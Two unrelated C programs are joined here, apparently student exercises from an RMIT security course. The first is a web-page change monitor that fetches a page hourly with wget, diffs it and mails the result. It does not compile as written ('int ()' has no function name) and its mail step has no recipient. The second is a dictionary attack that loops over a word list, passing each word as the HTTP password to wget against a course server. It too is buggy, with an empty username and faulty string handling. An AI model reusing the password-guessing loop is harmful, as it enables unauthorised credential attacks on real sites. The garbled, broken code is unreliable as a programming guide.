
#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
int flag=1;
const char delimiter[]=" \n\t";
FILE *fp1;
char line1[100];
char filename1[50];
char *token;

while(1)
{
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test1");
sleep(3600);
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test2");
system("diff test1 test2 >test3");
system("file test3 >test4"); 
strcpy(filename1,"test4");
if((fp1=fopen(filename1,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
fgets(line1,sizeof(line1),fp1);
token=strtok(line1,delimiter);
        while(token!=NULL)
                {
if(strcmp(token,"empty")==0)
{
printf(" CHANGES\n");
flag=0;

}
token=strtok(NULL,delimiter);

                 }
if(flag==1)
{
system("mail  < test3");
}
fclose(fp1);
}
return(0);
}

 #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

int main()
{
  char *wordptr = " word";
  FILE *fp;
  int syst = 1;
  char string1[80], string2[50];
  strcpy(string1, "wget --http-user= --http-passwd=");
  strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
  char words[30];
  fp = fopen("words", "r");
  while(wordptr != NULL)
  {
    wordptr = fgets(words, 30, fp);
    if (wordptr == NULL) exit(1);
    words [ strlen(words) - 1 ] = '\0';
    strcat(string1, words);
    strcat(string1, string2);
    printf("\n %s \n",string1);
    syst = system(string1);
    if (syst == 0)
    {
       exit(1);
    }
    strcpy(string1, "");
    strcpy(string1, "wget --http-user= --http-passwd=");
    printf("%s", words);
    
  }
}
